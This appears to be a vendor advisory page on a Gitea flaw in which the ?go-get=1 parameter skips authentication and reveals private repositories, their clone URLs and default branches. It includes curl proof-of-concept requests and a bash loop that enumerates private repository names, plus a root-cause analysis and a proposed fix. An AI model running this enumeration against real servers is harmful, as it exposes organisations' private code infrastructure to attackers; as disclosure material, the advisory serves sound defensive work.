GHSA-p4mj-98mv-xq26
MEDIUMGHSA-p4mj-98mv-xq26 is a medium-severity (CVSS 5.3) CWE-284 vulnerability in code.gitea.io/gitea. O3 Security confirms whether GHSA-p4mj-98mv-xq26 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Gitea: Private Repository Existence Disclosure via go-get Meta Endpoint
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-p4mj-98mv-xq26 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
code.gitea.io/giteaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
| Field | Value |
|---|---|
| Affected File | routers/web/repo/githttp.go, services/context/repo.go |
| Affected Functions | httpBase(), EarlyResponseForGoGetMeta() |
| Affected Lines | githttp.go:63–66, services/context/repo.go:374–396 |
| Prerequisite | None — fully unauthenticated |
Description
Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing <meta name="go-import"> and <meta name="go-source"> tags — regardless of whether:
- The repository is private
- The requesting user is authenticated
- The requesting user has any permission on the repository
The entry point is routers/web/repo/githttp.go:63–66:
func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
if ctx.FormString("go-get") == "1" {
context.EarlyResponseForGoGetMeta(ctx)
return nil // ← returns before any auth or permission check
}
...
The EarlyResponseForGoGetMeta function (services/context/repo.go:379–396) is called unconditionally, and the function's own docstring documents the intended behavior:
// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
// if user does not have actual access to the requested repository,
// or the owner or repository does not exist at all.
// This is particular a workaround for "go get" command which does not respect
// .netrc file.
func EarlyResponseForGoGetMeta(ctx *Context) {
username := ctx.PathParam("username")
reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
...
ctx.PlainText(http.StatusOK, htmlMeta) // ← HTTP 200, no auth check
}
The function also appears at services/context/repo.go:444, 516, 571 — all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.
The metadata returned includes:
- The full repository name and owner — confirming the repository exists
- The HTTP clone URL — a fully-formed URL pointing to the repository
- The source browsing URL templates — which may reveal the default branch name
This allows an unauthenticated attacker to:
- Confirm existence of any private repository by name
- Enumerate private repository names through brute-force without triggering authentication failures
- Harvest clone URLs and default branch names of private repositories
Proof of Concept
Step 1 — Identify a private repository
Any private repository works. For this demonstration, admin/classified-internal is set to private:
Step 2 — Confirm access is denied without authentication
Standard requests to a private repository correctly return 404 for unauthenticated users.
Step 3 — Bypass using go-get parameter
curl -s "http://localhost:3000/admin/classified-internal?go-get=1"
Actual response (HTTP 200):
<!doctype html>
<html>
<head>
<meta name="go-import"
content="localhost:3000/admin/classified-internal
git
http://localhost:3000/admin/classified-internal.git">
<meta name="go-source"
content="localhost:3000/admin/classified-internal
_
http://localhost:3000/admin/classified-internal/src/branch/main{/dir}
http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}">
</head>
<body>
go get --insecure localhost:3000/admin/classified-internal
</body>
</html>
The response:
- Returns HTTP 200 (not 404) — confirming the repository exists
- Reveals the full clone URL:
http://localhost:3000/admin/classified-internal.git - Reveals the default branch name:
main - Reveals the owner username:
admin
This same response is returned whether or not the repository exists — the comment in EarlyResponseForGoGetMeta states it responds identically for both — however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.
Step 4 — Enumerate private repositories at scale
# Enumerate private repos by guessing common names
for name in internal deploy secrets infra api-keys prod-config db-creds; do
response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1")
if echo "$response" | grep -q "go-import"; then
clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+')
echo "[FOUND] admin/${name} → clone: http://${clone_url}"
fi
done
Step 5 — Verify the same applies to the main web router
The vulnerability also exists via the standard web router for repository pages:
# Works on any repo-scoped URL
curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import"
curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1" | grep "go-import"
All return HTTP 200 with the metadata.
Impact Analysis
Direct impact:
| What is leaked | Sensitivity |
|---|---|
| Repository exists | Confirms presence of private infrastructure code, internal tooling, unreleased products |
| Owner / organization name | Reveals organizational structure |
| Clone URL | Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint |
| Default branch name | Reduces brute-force surface for subsequent attacks |
Root Cause Analysis
The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading .netrc credentials before deciding whether a module is accessible. The Go go get command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.
The workaround — returning metadata unconditionally — was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.
Recommended Fix
The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling EarlyResponseForGoGetMeta.
// routers/web/repo/githttp.go:63–66 — proposed fix
if ctx.FormString("go-get") == "1" {
// For public repos, always respond to support the go toolchain
if repo != nil && !repo.IsPrivate {
context.EarlyResponseForGoGetMeta(ctx)
return nil
}
// For private repos, only respond if the user is authenticated
// and has at least read access
if ctx.IsSigned {
if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {
if perm.CanRead(unit.TypeCode) {
context.EarlyResponseForGoGetMeta(ctx)
return nil
}
}
}
// Unauthenticated request for a private repo — return 404 consistent
// with normal behavior; the go toolchain will prompt for credentials
ctx.PlainText(http.StatusNotFound, "Repository not found")
return nil
}
This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.gitea.io/gitea | all versions | 1.27.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p4mj-98mv-xq26 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-p4mj-98mv-xq26 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-p4mj-98mv-xq26. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-p4mj-98mv-xq26 in your dependencies?
O3 detects GHSA-p4mj-98mv-xq26 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.